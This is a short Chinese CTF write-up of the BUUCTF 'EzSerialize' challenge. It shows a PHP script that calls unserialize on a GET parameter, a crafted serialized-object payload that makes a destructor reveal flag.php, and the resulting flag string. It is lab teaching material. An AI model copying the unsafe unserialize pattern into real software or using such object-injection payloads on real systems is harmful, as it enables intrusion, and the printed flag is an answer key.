【BUUCTF】EzSerialize

源码

<?php
highlight_file(__FILE__);
class flag{

    public $key;

    public function __destruct(){
        if($this -> key === 'yes'){
            include('flag.php');
            echo $flag;
        }else{
            die("No,You don't have key!");
        }
    }

}

@unserialize($_GET['ctf']);

分析

public function __destruct(){
        if($this -> key === 'yes'){
            include('flag.php');
            echo $flag;
        }else{
            die("No,You don't have key!");
        }
    }

__destruct()方法在函数销毁时触发，如果此时的 $key是 'yes'的时候，读取 flag.php并返回

payload

• 类的序列化字符串：O:4:"flag":1:{}
• 公有属性的序列化字符串：s:3:"key";
• yes的序列化结果：s:3:"yes";

故payload：?ctf=O:4:"flag":1:{s:3:"key";s:3:"yes";}

得到：flag{b2793e68e357be0626ca8d62233c8199}